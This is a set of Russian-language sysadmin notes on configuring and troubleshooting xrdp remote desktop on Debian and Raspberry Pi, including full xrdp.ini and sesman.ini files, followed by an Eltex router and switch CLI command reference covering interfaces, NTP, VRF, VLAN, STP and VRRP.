rdp_layout_ru=0x00000419 # ищем и убеждаемся что файлы существуют
 
 
[layouts_map_ru]
rdp_layout_us=ru,us
rdp_layout_ru=ru,us
 
[rdp_keyboard_ru]
keyboard_type=4
keyboard_type=7
keyboard_subtype=1
; model=pc105 при необходимости
options=grp:alt_shift_toggle
rdp_layouts=default_rdp_layouts
layouts_map=layouts_map_ru

3. Добавить пользователя xrdp в группу ssl-cert 
usermod -aG ssl-cert xrdp
 
4. Выпуск собственного сертификата для XRDP
mkdir /etc/xrdp/certificate/
cd /etc/xrdp/certificate/
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 3650

4.1 Подключаем сертификаты отредактировав файл
!!! ищем строки  (certificate=) и (key_file=) и правим их
vim /etc/xrdp/xrdp.ini
----------------------
certificate=/etc/xrdp/certificate/cert.pem 
key_file=/etc/xrdp/certificate/key.pem
----------------------
 
4.2 Изменяем права для файла 
chown -R xrdp:xrdp /etc/xrdp/certificate/


5. Запрет авторизации ROOT в XRDP
vim /etc/xrdp/sesman.ini
-------------------------
[Security]
# Авторизация root. true - разрешено false - запрещено
AllowRootLogin=false
-------------------------

6. XRDP черный экран при подключении:

!!! Баг был при использовании использовании ubuntu, debian 10, debian 11
!!! В окружение KDE
!!! Нужно вставить следующие строки в файл /etc/xrdp/startwm.sh
!!! unset DBUS_SESSION_BUS_ADDRESS
!!! unset XDG_RUNTIME_DIR

6.1 vim /etc/xrdp/startwm.sh
------------------------
#!/bin/sh
# xrdp X session start script (c) 2015, 2017 mirabilos
# published under The MirOS Licence

if test -r /etc/profile; then
        . /etc/profile
fi

unset DBUS_SESSION_BUS_ADDRESS
unset XDG_RUNTIME_DIR

if test -r /etc/default/locale; then
        . /etc/default/locale
        test -z "${LANG+x}" || export LANG
        test -z "${LANGUAGE+x}" || export LANGUAGE
        test -z "${LC_ADDRESS+x}" || export LC_ADDRESS
        test -z "${LC_ALL+x}" || export LC_ALL
        test -z "${LC_COLLATE+x}" || export LC_COLLATE
        test -z "${LC_CTYPE+x}" || export LC_CTYPE
        test -z "${LC_IDENTIFICATION+x}" || export LC_IDENTIFICATION
        test -z "${LC_MEASUREMENT+x}" || export LC_MEASUREMENT
        test -z "${LC_MESSAGES+x}" || export LC_MESSAGES
        test -z "${LC_MONETARY+x}" || export LC_MONETARY
        test -z "${LC_NAME+x}" || export LC_NAME
        test -z "${LC_NUMERIC+x}" || export LC_NUMERIC
        test -z "${LC_PAPER+x}" || export LC_PAPER
        test -z "${LC_TELEPHONE+x}" || export LC_TELEPHONE
        test -z "${LC_TIME+x}" || export LC_TIME
        test -z "${LOCPATH+x}" || export LOCPATH
fi

if test -r /etc/profile; then
        . /etc/profile
fi

test -x /etc/X11/Xsession && exec /etc/X11/Xsession
exec /bin/sh /etc/X11/Xsession

------------------------


7. Название подключенной локальной папки в XRDP
!!! для корректной работы нужны пакеты  
!!! apt install gvfs-fuse gvfs-backends libglib2.0-bin
vim /etc/xrdp/sesman.ini
------------------------
FuseMountName=Mount_FOLDER
------------------------


8. Настройка вида окна авторизации XRDP
vim  /etc/xrdp/xrdp.ini
-----------------------
ls_title=YOU SUPER SERVER # заголовок окна сервера
ls_top_window_bg_color=000000  # Цвет фона RGB
ls_logo_filename=/etc/xrdp/logo_xrdp.bmp #Логотип
 
; Session types # После этой строки ищем и убираем лишние сессии, оставляем только [Xorg]
-----------------------


9. Отключение screensaver
Вариант первый, можно просто его удалить
apt-get remove xscreensaver
 
Вариант второй, можно настроить электропитание в настройках экрана



10. После настройки перезапустим xrdp 
service xrdp restart


.xsession

KDE
cat > .xsession << "EOF"
startplasma-x11
EOF

XFCE4
cat > .xsession << "EOF"
startxfce4
EOF

Команда помогающая изменить gui по умолчанию:

update-alternatives --config x-session-manager 

config /etc/xrdp/xrdp.ini

[Globals]
; xrdp.ini file version number
ini_version=1

; fork a new process for each incoming connection
fork=true

; ports to listen on, number alone means listen on all interfaces
; 0.0.0.0 or :: if ipv6 is configured
; space between multiple occurrences
; ALL specified interfaces must be UP when xrdp starts, otherwise xrdp will fail to start
;
; Examples:
;   port=3389
;   port=unix://./tmp/xrdp.socket
;   port=tcp://.:3389                           127.0.0.1:3389
;   port=tcp://:3389                            *:3389
;   port=tcp://:3389      192.168.1.1:3389
;   port=tcp6://.:3389                          ::1:3389
;   port=tcp6://:3389                           *:3389
;   port=tcp6://{}:3389   {FC00:0:0:0:0:0:0:1}:3389
;   port=vsock://:
port=3389

; 'port' above should be connected to with vsock instead of tcp
; use this only with number alone in port above
; prefer use vsock://: above
use_vsock=false

; regulate if the listening socket use socket option tcp_nodelay
; no buffering will be performed in the TCP stack
tcp_nodelay=true

; regulate if the listening socket use socket option keepalive
; if the network connection disappear without close messages the connection will be closed
tcp_keepalive=true

; set tcp send/recv buffer (for experts)
#tcp_send_buffer_bytes=32768
#tcp_recv_buffer_bytes=32768

; security layer can be 'tls', 'rdp' or 'negotiate'
; for client compatible layer
security_layer=negotiate

; minimum security level allowed for client for classic RDP encryption
; use tls_ciphers to configure TLS encryption
; can be 'none', 'low', 'medium', 'high', 'fips'
crypt_level=high

; X.509 certificate and private key
; openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 365
; note this needs the user xrdp to be a member of the ssl-cert group, do with e.g.
;$ sudo adduser xrdp ssl-cert
;certificate=
;key_file=
certificate=/etc/xrdp/certificate/cert.pem 
key_file=/etc/xrdp/certificate/key.pem

; set SSL protocols
; can be comma separated list of 'SSLv3', 'TLSv1', 'TLSv1.1', 'TLSv1.2', 'TLSv1.3'
ssl_protocols=TLSv1.2, TLSv1.3
; set TLS cipher suites
#tls_ciphers=HIGH

; concats the domain name to the user if set for authentication with the separator
; for example when the server is multi homed with SSSd
#domain_user_separator=@

; The following options will override the keyboard layout settings.
; These options are for DEBUG and are not recommended for regular use.
#xrdp.override_keyboard_type=0x04
#xrdp.override_keyboard_subtype=0x01
#xrdp.override_keylayout=0x00000409

; Section name to use for automatic login if the client sends username
; and password. If empty, the domain name sent by the client is used.
; If empty and no domain name is given, the first suitable section in
; this file will be used.
autorun=

allow_channels=true
allow_multimon=true
bitmap_cache=true
bitmap_compression=true
bulk_compression=true
#hidelogwindow=true
max_bpp=32
new_cursors=true
; fastpath - can be 'input', 'output', 'both', 'none'
use_fastpath=both
; when true, userid/password *must* be passed on cmd line
#require_credentials=true
; when true, the userid will be used to try to authenticate
#enable_token_login=true
; You can set the PAM error text in a gateway setup (MAX 256 chars)
#pamerrortxt=change your password according to policy at http://url

;
; colors used by windows in RGB format
;
blue=009cb5
grey=dedede
#black=000000
#dark_grey=808080
#blue=08246b
#dark_blue=08246b
#white=ffffff
#red=ff0000
#green=00ff00
#background=626c72

;
; configure login screen
;

; Login Screen Window Title
#ls_title=My Login Title

; top level window background color in RGB format
ls_top_window_bg_color=009cb5

; width and height of login screen
;
; The default height allows for about 5 fields to be comfortably displayed
; above the buttons at the bottom. To display more fields, make 
; larger, and also increase  and 
; below
;
ls_width=350
ls_height=430

; login screen background color in RGB format
ls_bg_color=dedede

; optional background image filename. BMP format is always supported,
; but other formats will be supported if xrdp is build with imlib2
; The transform can be one of the following:-
;     none  : No transformation. Image is placed in bottom-right corner
;             of the screen.
;     scale : Image is scaled to the screen size. The image aspect
;             ratio is not preserved.
;     zoom  : Image is scaled to the screen size. The image aspect
;             ratio is preserved by clipping the image.
#ls_background_image=
#ls_background_transform=none

; logo
; full path to file or file in shared folder. BMP format is always supported,
; but other formats will be supported if xrdp is build with imlib2
; For transform values, see 'ls_background_transform'. The logo width and
; logo height are ignored for a transform of 'none'.
ls_logo_filename=
#ls_logo_transform=none
#ls_logo_width=240
#ls_logo_height=140
ls_logo_x_pos=55
ls_logo_y_pos=50

; for positioning labels such as username, password etc
ls_label_x_pos=30
ls_label_width=65

; for positioning text and combo boxes next to above labels
ls_input_x_pos=110
ls_input_width=210

; y pos for first label and combo box
ls_input_y_pos=220

; OK button
ls_btn_ok_x_pos=142
ls_btn_ok_y_pos=370
ls_btn_ok_width=85
ls_btn_ok_height=30

; Cancel button
ls_btn_cancel_x_pos=237
ls_btn_cancel_y_pos=370
ls_btn_cancel_width=85
ls_btn_cancel_height=30

[Logging]
; Note: Log levels can be any of: core, error, warning, info, debug, or trace
LogFile=xrdp.log
LogLevel=INFO
EnableSyslog=true
#SyslogLevel=INFO
#EnableConsole=false
#ConsoleLevel=INFO
#EnableProcessId=false

[LoggingPerLogger]
; Note: per logger configuration is only used if xrdp is built with
; --enable-devel-logging
#xrdp.c=INFO
#main()=INFO

[Channels]
; Channel names not listed here will be blocked by XRDP.
; You can block any channel by setting its value to false.
; IMPORTANT! All channels are not supported in all use
; cases even if you set all values to true.
; You can override these settings on each session type
; These settings are only used if allow_channels=true
rdpdr=true
rdpsnd=true
drdynvc=true
cliprdr=true
rail=true
xrdpvr=true
tcutils=true
driveredir=true

; for debugging xrdp, in section xrdp1, change port=-1 to this:
#port=/tmp/.xrdp/xrdp_display_10


;
; Session types
;

; Some session types such as Xorg, X11rdp and Xvnc start a display server.
; Startup command-line parameters for the display server are configured
; in sesman.ini. See and configure also sesman.ini.
[Xorg]
name=Xorg
lib=libxup.so
username=ask
password=ask
ip=127.0.0.1
port=-1
code=20

;[Xvnc]
;name=Xvnc
;lib=libvnc.so
;username=ask
;password=ask
;ip=127.0.0.1
;port=-1
#xserverbpp=24
#delay_ms=2000
; Disable requested encodings to support buggy VNC servers
; (1 = ExtendedDesktopSize)
#disabled_encodings_mask=0
; Use this to connect to a chansrv instance created outside of sesman
; (e.g. as part of an x11vnc console session). Replace '0' with the
; display number of the session
#chansrvport=DISPLAY(0)

; Generic VNC Proxy
; Tailor this to specific hosts and VNC instances by specifying an ip
; and port and setting a suitable name.
;[vnc-any]
;name=vnc-any
;lib=libvnc.so
;ip=ask
;port=ask5900
;username=na
;password=ask
#pamusername=asksame
#pampassword=asksame
#pamsessionmng=127.0.0.1
#delay_ms=2000

; Generic RDP proxy using NeutrinoRDP
; Tailor this to specific hosts by specifying an ip and port and setting
; a suitable name.
;[neutrinordp-any]
;name=neutrinordp-any
; To use this section, you should build xrdp with configure option
; --enable-neutrinordp.
;lib=libxrdpneutrinordp.so
;ip=ask
;port=ask3389
;username=ask
;password=ask
; Uncomment the following lines to enable PAM authentication for proxy
; connections.
#pamusername=ask
#pampassword=ask
#pamsessionmng=127.0.0.1
; Currently NeutrinoRDP doesn't support dynamic resizing. Uncomment
; this line if you're using a client which does.
#enable_dynamic_resizing=false
; By default, performance settings requested by the RDP client are ignored
; and chosen by NeutrinoRDP. Uncomment this line to allow the user to
; select performance settings in the RDP client.
#perf.allow_client_experiencesettings=true
; Override any experience setting by uncommenting one or more of the
; following lines.
#perf.wallpaper=false
#perf.font_smoothing=false
#perf.desktop_composition=false
#perf.full_window_drag=false
#perf.menu_anims=false
#perf.themes=false
#perf.cursor_blink=false
; By default NeutrinoRDP supports cursor shadows. If this is giving
; you problems (e.g. cursor is a black rectangle) try disabling cursor
; shadows by uncommenting the following line.
#perf.cursor_shadow=false
; By default, NeutrinoRDP uses the keyboard layout of the remote RDP Server.
; If you want to tell the remote the keyboard layout of the RDP Client,
; by uncommenting the following line.
#neutrinordp.allow_client_keyboardLayout=true
; The following options will override the remote keyboard layout settings.
; These options are for DEBUG and are not recommended for regular use.
#neutrinordp.override_keyboardLayout_mask=0x0000FFFF
#neutrinordp.override_kbd_type=0x04
#neutrinordp.override_kbd_subtype=0x01
#neutrinordp.override_kbd_fn_keys=12
#neutrinordp.override_kbd_layout=0x00000409

; You can override the common channel settings for each session type
#channel.rdpdr=true
#channel.rdpsnd=true
#channel.drdynvc=true
#channel.cliprdr=true
#channel.rail=true
#channel.xrdpvr=true


config /etc/xrdp/sesman.ini

;; See `man 5 sesman.ini` for details

[Globals]
ListenAddress=127.0.0.1
ListenPort=3350
EnableUserWindowManager=true
; Give in relative path to user's home directory
UserWindowManager=startwm.sh
; Give in full path or relative path to /etc/xrdp
DefaultWindowManager=startwm.sh
; Give in full path or relative path to /etc/xrdp
ReconnectScript=reconnectwm.sh

[Security]
;AllowRootLogin=true
AllowRootLogin=false
MaxLoginRetry=4
TerminalServerUsers=tsusers
TerminalServerAdmins=tsadmins
; When AlwaysGroupCheck=false access will be permitted
; if the group TerminalServerUsers is not defined.
AlwaysGroupCheck=false
; When RestrictOutboundClipboard=all clipboard from the
; server is not pushed to the client.
; In addition, you can control text/file/image transfer restrictions
; respectively. It also accepts comma separated list such as text,file,image.
; To keep compatibility, some aliases are also available:
;   true: an alias of all
;   false: an alias of none
;   yes: an alias of all
RestrictOutboundClipboard=none
; When RestrictInboundClipboard=all clipboard from the
; client is not pushed to the server.
; In addition, you can control text/file/image transfer restrictions
; respectively. It also accepts comma separated list such as text,file,image.
; To keep compatibility, some aliases are also available:
;   true: an alias of all
;   false: an alias of none
;   yes: an alias of all
RestrictInboundClipboard=none

[Sessions]
;; X11DisplayOffset - x11 display number offset
; Type: integer
; Default: 10
X11DisplayOffset=10

;; MaxSessions - maximum number of connections to an xrdp server
; Type: integer
; Default: 0
MaxSessions=50

;; KillDisconnected - kill disconnected sessions
; Type: boolean
; Default: false
; if 1, true, or yes, every session will be killed within DisconnectedTimeLimit
; seconds after the user disconnects
KillDisconnected=false

;; DisconnectedTimeLimit (seconds) - wait before kill disconnected sessions
; Type: integer
; Default: 0
; if KillDisconnected is set to false, this value is ignored
DisconnectedTimeLimit=0

;; IdleTimeLimit (seconds) - wait before disconnect idle sessions
; Type: integer
; Default: 0
; Set to 0 to disable idle disconnection.
IdleTimeLimit=0

;; Policy - session allocation policy
; Type: enum [ "Default" | "UBD" | "UBI" | "UBC" | "UBDI" | "UBDC" ]
; "Default" session per 
; "UBD" session per 
; "UBI" session per 
; "UBC" session per 
; "UBDI" session per 
; "UBDC" session per 
Policy=Default

[Logging]
; Note: Log levels can be any of: core, error, warning, info, debug, or trace
LogFile=xrdp-sesman.log
LogLevel=INFO
EnableSyslog=true
#SyslogLevel=INFO
#EnableConsole=false
#ConsoleLevel=INFO
#EnableProcessId=false

[LoggingPerLogger]
; Note: per logger configuration is only used if xrdp is built with
; --enable-devel-logging
#sesman.c=INFO
#main()=INFO

;
; Session definitions - startup command-line parameters for each session type
;

[Xorg]
; Specify the path of non-suid Xorg executable. It might differ depending
; on your distribution and version. Find out the appropriate path for your
; environment. The typical path is known as follows:
;
; Fedora 26 or later    :  param=/usr/libexec/Xorg
; Debian 9 or later     :  param=/usr/lib/xorg/Xorg
; Ubuntu 16.04 or later :  param=/usr/lib/xorg/Xorg
; Arch Linux            :  param=/usr/lib/Xorg
; CentOS 7              :  param=/usr/bin/Xorg or param=Xorg
; CentOS 8              :  param=/usr/libexec/Xorg
; FreeBSD (from 2022Q4) :  param=/usr/local/libexec/Xorg
;
param=/usr/lib/xorg/Xorg
; Leave the rest parameters as-is unless you understand what will happen.
param=-config
param=xrdp/xorg.conf
param=-noreset
param=-nolisten
param=tcp
param=-logfile
param=.xorgxrdp.%s.log

[Xvnc]
param=Xvnc
param=-bs
param=-nolisten
param=tcp
param=-localhost
param=-dpi
param=96

[Chansrv]
; drive redirection
; See sesman.ini(5) for the format of this parameter
;FuseMountName=/run/user/%u/thinclient_drives
;FuseMountName=/media/thinclient_drives/%U/thinclient_drives
FuseMountName=remoute
; this value allows only the user to access their own mapped drives.
; Make this more permissive (e.g. 022) if required.
;FileUmask=077
; Can be used to disable FUSE functionality - see sesman.ini(5)
;EnableFuseMount=false
; Uncomment this line only if you are using GNOME 3 versions 3.29.92
; and up, and you wish to cut-paste files between Nautilus and Windows. Do
; not use this setting for GNOME 4, or other file managers
UseNautilus3FlistFormat=true

[ChansrvLogging]
; Note: one log file is created per display and the LogFile config value
; is ignored. The channel server log file names follow the naming convention:
; xrdp-chansrv.${DISPLAY}.log
;
; Note: Log levels can be any of: core, error, warning, info, debug, or trace
LogLevel=INFO
EnableSyslog=true
#SyslogLevel=INFO
#EnableConsole=false
#ConsoleLevel=INFO
#EnableProcessId=false

[ChansrvLoggingPerLogger]
; Note: per logger configuration is only used if xrdp is built with
; --enable-devel-logging
#chansrv.c=INFO
#main()=INFO

[SessionVariables]
PULSE_SCRIPT=/etc/xrdp/pulse/default.pa

xrdp белый экран raspberry pi

https://bbs.archlinux.org/viewtopic.php?id=277905
https://askubuntu.com/questions/1209300/remote-desktop-on-raspberrypi-not-working
https://raspberrypi.stackexchange.com/questions/133425/connection-problem-giving-up-on-xrdp-with-raspberry-pi-os-11-bullseye
https://github.com/neutrinolabs/xrdp/issues/2053 #Не очевидное решение проблемы белого экрана на raspberry
https://github.com/neutrinolabs/xrdp/wiki/Tips-and-FAQ#why-cant-i-log-the-same-user-on-on-the-graphical-console-and-over-xrdp-at-the-same-time

Вариант 0:
СМОТРИМ ЛОГИ!!!
cat /var/log/xrdp-sesman.log
В каталоге пользователя:
cat .xorgxrdp.*.log
cat .xsession
cat .xsession-errors
Смотрим при подключении:
journalctl -f



Вариант первый:
!!! На малине в принципе все начинает работать сразу из коробки и настройка не требуется.
apt install -y  xrdp 

Вариант второй:
Чтобы решить эту проблему "второй сессии" и разрешить столько сессий, сколько вам нужно, отредактируйте /etc/xrdp/startwm.sh 
и добавьте эти строки перед строками, которые проверяют и запускают Xsession. $HOME/.profile не является частью решения, 
но это то, что должно быть запущено перед началом сессии в любом случае.
unset DBUS_SESSION_BUS_ADDRESS  
unset XDG_RUNTIME_DIR  
. $HOME/.profile

Вариант третий:
Еще в борьбе с белым экраном предлагают удалить пользователя из группы video и render
sudo gpasswd -d  video
sudo gpasswd -d  render

Вариант четвертый:
Eще скрипт установки у людей на raspberry pi
# Install updates
sudo apt update
sudo apt upgrade -y

# Install and configure xRDP
sudo apt install -y xrdp
sudo systemctl enable xrdp
sudo sed -i 's/"DRMDevice" "[[:alnum:]/]+"/"DRMDevice" ""/g' /etc/X11/xrdp/xorg.conf
sudo gpasswd -d $USER video

# Reboot the machine
sudo reboot

Вариант пятый:
P.s. Многие пишут что вообще ничего не трогают и все работает
кто то удаляет из группы video и тоже начинает работать
а самое главное вообще не трогают startwm.sh 

Вариант шестой:
apt-get install xserver-xorg-legacy
vim /etc/X11/Xwrapper.config
----------------------------
allowed_users=anybody
needs_root_rights=yes
----------------------------

Вариант седьмой:
Ошибки dbus
Ставим:
sudo apt install dbus-x11
От пользователя выполняем:
dbus-launch


Вариант восьмой:
https://forums.raspberrypi.com/viewtopic.php?t=387334
Включаем X Activate X11 Server over Wayland on raspi-config utility That's important
Редактируем файл:
Edit /etc/X11/xrdp/xorg.conf
Section "Screen"
Identifier "Screen (xrdpdev)"
Device "Video Card (xrdpdev)"
GPUDevice "Video Card (xrdpdev)" <-- Add this to section...
Monitor "Monitor"


Рубрики
device \ устройства \ железо

eltex

eltex база знаний:

https://docs.eltex-co.ru/display/EKB/Eltex+Knowledge+Base

eltex

общие команды:
logout - Быстрый выход из сессии интерфейса командной строки  config, global-viewconfig
do  - Выполнение команды глобального режима CLI (command_sequence) без выхода из режима конфигурирования    config
root - Выход на верхний уровень режима конфигурирования  config
end  - Выход из любого уровня режима конфигурирования в глобальный режим  config
quit - Выход из сессии интерфейса командной строки  global-view 


В глобальном режиме интерфейса командной строки доступны команды просмотра оперативного состояния системы (show-команды), 
команды управления компонентами системы (например, reload, hw-module), 
запуска различных диагностических тестов и работы с образами операционной системы.
Для уменьшения объема отображаемых данных в ответ за запросы пользователя и облегчения поиска необходимой информации можно воспользоваться фильтрацией. 
Для фильтрации вывода команд нужно добавить в конец командной строки символ "|" и использовать одну из опций фильтрации:
formal — модификация выводов "show running-config" и "show candidate-config" из древовидного в линейный
begin — выводить всё после строки, содержащей заданный шаблон
include — выводить все строки, содержащие заданный шаблон
exclude — выводить все строки, не содержащие заданный шаблон
count — произвести подсчёт количества строк в выводе команды.


без конфигуре  global-view :
rootshell - попасть в linux shell :)
show interfaces description - показать статус интерфейсов
show running-config - показать конфигурацию устройства
show candidate-config - Вывести кандидат-конфигурацию устройства.
configure - Перейти из глобального режима CLI в режим конфигурирования.

в configure:
commit - Применить кандидат-конфигурацию(применить изменения, внесенные во время сеанса редактирования).
abort - Отменить изменения в кандидат конфигурации и выйти из режим конфигурирования. 
         При выполнении этой команды кандидат-конфигурация становится идентичной текущей (стартовой) конфигурации.

Тип интерфейса:
Физические интерфейсы:
Обозначение физического интерфейса включает в себя его тип и идентификатор.
Идентификатор имеет вид //, где:
 - номер устройства в кластере устройств;
 - номер модуля в составе устройства;
 - порядковый номер интерфейса данного типа в модуле.

Интерфейсы 10Гбит/с Ethernet tengigabitethernet //  tengigabitethernet 0/0/10  te 0/0/10
Интерфейсы 40Гбит/с Ethernet  fourtygigabitethernet //  fourtygigabitethernet 0/0/2  fo 0/0/2
Интерфейсы 100Гбит/с Ethernet  hundredgigabitethernet //  hundredgigabitethernet 0/0/3  hu 0/0/3
Физические интерфейсы всегда присутствуют в системе.

Группы агрегации каналов  bundle-ether   bundle-ether 8
Группы агрегации каналов в системе можно создавать и удалять.


Сабинтерфейсы
bundle-ether .
tengigabitethernet //.
fourtygigabitethernet //.
hundredgigabitethernet //.
Сабинтерфейсы в системе можно создавать и удалять.


Интерфейсы локальной петли  loopback   loopback 100
Интерфейсы локальной петли в системе можно создавать и удалять.

Интерфейсы управления  mgmt //
Интерфейсы out-of-band управления - это выделенные ethernetинтерфейсы для доступа и управления маршрутизатором. 
В качестве  могут выступать 'fmc0' и 'fmc1', в зависимости от аппаратной конфигурации.
'mgmt 0/fmc0/1' - для ME5100
'mgmt 0/fmc0/0' и 'mgmt 0/fmc0/1' для FMC0 в маршрутизаторе ME5000
'mgmt 0/fmc1/0' и 'mgmt 0/fmc1/1' для FMC1 в маршрутизаторе ME5000
Интерфейсы управления всегда присутствуют в системе.
IMPORTANT
Интерфейсы  управления  не предназначены для передачи транзитного трафика (не участвуют в работе dataplane) и жестко прикреплены к VRF 'mgmt-intf'.

change-privilege  Данной командой осуществляется переход на соответствующий уровень привилегий.
change-privilege { p1 | p2 | … | p15 } [ PASSWORD ]
change-privilege p15 mypassword


clear alarm - Данная команда очищает активные аварии в системе.
clear alarm {all | ID }
all — очищаются все активные аварии
ID — очищается авария с указанным идентификатором.
clear alarm 300

clear arp - Данная команда удаляет записи из ARP-таблицы.
address IPv4 — очищается запись при совпадении IPv4-адреса
interface IF — очищаются записи на указанном интерфейсе
vrf VRF — указание VRF, из которого будет браться ARP-таблица
clear arp vrf test 10.0.0.200

clear bgp  - Данная команда изменяет состояние BGP-сессии и счётчиков.
clear bgp {{ vrf ARGS | neighbor ARGS} {counters | flap-statistics |soft ARGS}}
vrf VRF — указание VRF, в котором будет выполнятся действие
neighbor {all | ipv4 | ipv6 | IPv4 | IPv6 } — сброс BGP-сессии: всех, всех ipv4/ipv6 unicast или конкретного адреса соседа
counters — очистка счётчиков BGP-сообщений
flap-statistics — очистка счётчиков flap-statistics
soft in|out — реконфигурация маршрутов(in — восстановить свои маршруты, out — отправить соседу свои маршруты).
clear bgp neighbor 10.0.0.10

clear configuration backups - Удаление бэкап-конфигруации.
clear configuration backups [ String ] - String — указание имени backup-файла.
clear configuration backups



clear crash-info all - Удаление логов crash-info.
clear crash-info { all | String }

clear domain-cache - Сброс кэша доменных имён.
clear domain-cache { String }
clear domain-cache eltex-co.ru

clear flow monitor - Сброс статистики потоков. 

clear ipv6 neighbors - Данная команда удаляет записи из NDP-таблицы.
clear ipv6 neighbors address 2005:1::1

clear logging - Данная команда очищает файлы системных логов
persistent — указание на очистку лог-файлов, хранящихся в постоянной памяти
system — указание на очистку control-plane лог-файлов
file WORD — указание имени persistent-логов
clear logging persistent file BGP_LOG

clear mpls - Данная команда сбрасывает состояния LDP-сессий и RSVP-сессий и меток.
clear mpls ldp neighbor all

clear ospfv2 - Данная команда сбрасывает состояния OSPFv2-соседств.
clear ospfv2 statistics
clear ospfv3 - Данная команда сбрасывает состояния OSPFv3-соседств.
clear ospfv3 statistics

clear pim - Данная команда сбрасывает состояния PIM-соседств и очищает топологию.
clear pim counters

clear qos counters - Команда сбрасывает счётчики срабатывания политик QoS.
clear qos counters interface te 0/0/2

dir - Данная команда выводит список файлов со смонтированного USB-носителя.
delete - Данная команда удаляет файл на смонтированном USB-носителе

show system - Выведет текущие общие состояние 
show system resources cpu - Данной командой осуществляется просмотр информации о текущем использовании  процессора устройства.
show system resources cpu

show version - покажет текущую версию

backup to tftp://192.168.16.113/backup_directory/ - Команда создает элемент резервирования конфигурации и переходит в режим настройки этого элемента. 

fan lower-speed 60 - Данной командой устанавливается минимальная скорость вращения вентиляторов системы охлаждения устройства, в процентах.

flow rate - Команда позволяет ограничить полосу пропускания для заданного типа трафика, перехватываемого на процессор.
configure
system punt rate-limit
flow ip-ttl rate 100
commit


broadcast-client - Данной командой включается режим приёма широковещательных сообщений NTP-серверов, при этом устройство работает в качестве NTP-клиента. 
ntp vrf mgmt-intf
broadcast-client

clock read-calendar - Данная команда синхронизирует значение программных часов системы со значением аппаратных часов.
clock read-calendar

clock update-calendar - Данная команда записывает в аппаратные часы устройства значение программных часов.
clock update-calendar

ntp vrf Команда включает протокол ntp в заданном vrf и переходит в режим его конфигурирования
ntp vrf mgmt-intf
Интервала времени между отправкой сообщений NTP-серверу
maxpoll - Данная команда устанавливает максимальное значение интервала времени между отправкой сообщений NTP-серверу.
Использование отрицательной формы команды устанавливает значение по умолчанию (10, что соответствует 1024 секундам).
minpoll - Данная команда устанавливает минимальное значение интервала времени между отправкой сообщений NTP-серверу.
Использование отрицательной формы команды устанавливает значение по умолчанию (6, что соответствует 64 секундам).
ntp vrf default
server ipv4 192.168.16.36
maxpoll 15
minpoll 3

peer ipv4 - Данная команда используется для установления партнерских отношений между NTP-серверами и перехода в командный режим config-ntp-vrf-peer-ipv4.
ntp vrf default
peer ipv4 192.168.16.36

prefer - Данная команда отмечает текущий NTP-сервер как предпочтительный.
ntp vrf default
server ipv4 192.168.16.36
prefer

show clock - Данная команда выводит текущее время и дату.

tcp - Данная команда устанавливает режим работы по протоколу TCP для текущего удаленного сервера журналирования и задает номер используемого порта.
logging host 10.7.32.4 vrf default
tcp 513

udp - Данная команда устанавливает режим работы по протоколу UDP для текущего удаленного сервера журналирования и задает номер используемого порта.
logging host 10.7.32.4 vrf default
udp 513

ip mtu - Данная команда позволяет установить в конфигурации правило для задания IPv4/IPv6 Maximum Transmission Unit (MTU).
interface tengigabitethernet 0/0/1
ip mtu 6000

mtu - Данная команда позволяет установить в конфигурации правило для задания Layer 2 Maximum Transmission Unit (L2 MTU).
interface tengigabitethernet 0/0/1
mtu 1700

shutdown - Данная команда позволяет создать в конфигурации правило для административного выключения интерфейса и перевода его в состояние administratively down.
interface tengigabitethernet 0/0/1.100
shutdown

speed - Данная команда позволяет задать режим скорости на Ethernet-интерфейсе.
        Отрицательная форма команды возвращает значение по умолчанию (auto).
speed { 10 | 100 | 100G | 10G | 1G | 40G | 25G |auto }
no speed
interface tengigabitethernet 0/0/1
speed 1G



vrf Данная команда позволяет создать в конфигурации экземпляр VRF и перейти в режим его  конфигурации (config-vrf).
vrf test

vrf - Данная команда относит интерфейс к указанной Virtual Routing & Forwarding сущности (VRF).
interface tengigabitethernet 0/0/1
vrf TEST


description - Данная команда позволяет задать в конфигурации описание для текущего VRF 
vrf test
description test


maximum prefix - Данная команда позволяет ограничить максимальное количество маршрутов в данном VRF.
vrf test
maximum prefix 100


rd - Данная команда позволяет задать в конфигурации Route Distinguisher для данного VRF.
vrf test
rd 10.0.0.1:200

show vrf - Данная команда отображает информацию по активным VRF.
show vrf test

vpn-id - Данная команда задает в конфигурации VRF определенный VPN ID, как описано в RFC 2685.
vrf test
vpn-id 100:100

Часто используемые настройки:

Пример задать имя, время, баннер:
configure
hostname NEW-HOSTNAME
clock set 12:00:00 nov 8 2023
banner exec @ hell0 @
commit

Создание пользователя:
configure
username stepan privilege 1 password password
enable password level 15 godemode
privilege exec 1 show running-config
exec 1 configure
commit

Конфигурация ip адреса для интерфейса:
interface GigabitEthernet 1/0/20
ip address 10.10.10.20/24

Конфигурация ip адреса для vlan:
interface vlan 1
ip address 150.20.137.40/24 


Создание vlan для интерфейса:
configure 
vlan database
vlan 20 name test
interface GigabitEthernet 1/0/1
switchport access vlan 20 
commit

Создание/удаления trank vlan:
configure
interface GiggabitEhernet 1/0/1
switchport mode trunk 
switchport trunk allowed vlan 10 - если не указать то затрет все vlan и оставит 10
switchport trunk allowed vlan add 10
switchport trunk allowed vlan add 12
switchport trunk allowed vlan add 20-50
switchport trunk allowed vlan remove 10 - для удаления vlan 10
switchport trunk allowed vlan all - разрешает все вланы
commit


Создание voice vlan:
voice vlan oui-table add a8f94b ( первые три байта телефона который мы в войс отправляем)
voice vlan id 10
voice vlan state oui-enable
lldp med network-policy 1 voice vlan 10 vlan-type tagged up 4 
interface gigabitethernet 1/0/1
switchport mode general
voice vlan enable
lldp med enable network-policy
lldp med network-policy add 1 
switchport general allowed vlan add 20 untagged
switchport general pvid 20


Создание STP:
spanning-tree 
spanning-tree mode rstp (включен по умолчанию)
spanning-tree priority {0-61440}
interface GigabitEthernet 1/0/1
spannig-tree cost {1-200000000} - стоимость
spanning-tree disable - выключить rstp
spanning-tree bpdu filtering
spanning-tree bpduguard enable


Защита вланов rapid-pvst:
spanning-tree 
spanning-tree mode rapid-pvst (в cisco по умолчанию включено)
vlan 10-20
interface gigabitethentet 1/0/1
switchport mode trunk
switchport trunk allowed vlan add 10-20



Конфигурация VRRP:
interface vlan 100
ip address 172.16.2.2/24 ( на другом устройстве указываем 172.16.2.3 )
vrrp 100 ip 172.16.2.1
vrrp 100 priority 1 
vrrp 100 preempt
no vrrp 100 shutdown - отключить

Настройка dhcp server:
